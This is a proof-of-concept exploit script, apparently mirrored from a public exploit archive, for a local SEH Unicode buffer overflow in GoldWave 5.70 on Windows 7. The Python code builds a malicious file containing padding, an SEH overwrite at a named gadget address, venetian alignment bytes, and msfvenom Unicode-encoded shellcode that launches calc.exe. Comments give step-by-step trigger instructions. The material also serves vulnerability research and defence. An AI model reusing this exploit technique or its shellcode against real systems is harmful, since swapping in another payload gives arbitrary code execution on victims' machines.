GoldWave 5.70 - Local Buffer Overflow (SEH Unicode)

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GoldWave 5.70 - Local Buffer Overflow (SEH Unicode)

来源：@bzyo_ 作者：bzyo 发布时间：2018-04-10

#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: GoldWave 5.70 - Local Buffer Overflow (SEH Unicode)
# Date: 04-05-2018
# Vulnerable Software: GoldWave 5.70
# Vendor Homepage: https://www.goldwave.com/
# Version: 5.70
# Software Link: http://goldwave.com//downloads/gwave570.exe
# Tested Windows 7 SP1 x86
#
#
# PoC
# 1. generate goldwave570.txt, copy contents to clipboard
# 2. open gold wave app
# 3. select File, Open URL...
# 4. paste contents from clipboard after 'http://'
# 5. select OK
# 6. pop calc
#

filename="goldwave570.txt"

junk = "\x71"*1019

#popad
nseh = "\x61\x62"

#0x006d000f : pop ecx # pop ebp # ret | startnull,unicode,ascii {PAGE_EXECUTE_READ} [GoldWave.exe]
seh = "\x0f\x6d"

valign = (
"\x53"                  #push ebx
"\x47"                  #align
"\x58"                  #pop eax
"\x47"                  #align
"\x05\x16\x11"          #add eax,600
"\x47"                  #align
"\x2d\x13\x11"          #sub eax,300
"\x47"                  #align
"\x50"                  #push eax
"\x47"                  #align
"\xc3"                  #retn
)

#nops to shellcode
nops = "\x71" * 365

#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
#Payload size: 517 bytes
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AA"
"PAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIXTBKPM0M0S0DIK501I0C44"
"K0PP0DKPRLLTKQBMDTKBRO8LOFWOZMV01KOFLOLS13LLBNLO0WQXOLMKQI7K2KB0RQGTKPRN0DK0J"
"OL4K0LN1CHISOXKQXQ214K0YMPKQJ3DK0IN8K3NZOYTKNT4KM1YFNQKO6L91XOLMM1WW08IP45ZVK"
"S3MZXOKSMMTRUK4B8TKPXO4M1YCBFDKLLPKDKR8MLM1YC4KKTTKM18PU9PDO4MT1K1KQQR91J0QKO"
"IP1O1O1J4KN2ZK4MQMRJM14MSUVRM0M0M0PP2HNQTKROSWKO8UWKZPH55R1FQX6FF5WMEMKOXUOLL"
"F3LKZE0KKYPRUM5GKOWMCCBRO2JM023KOYE1S1QRLBCNNRERX1UM0AA")

fill = "\x71"* 5000

buffer = junk + nseh + seh + valign + nops + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

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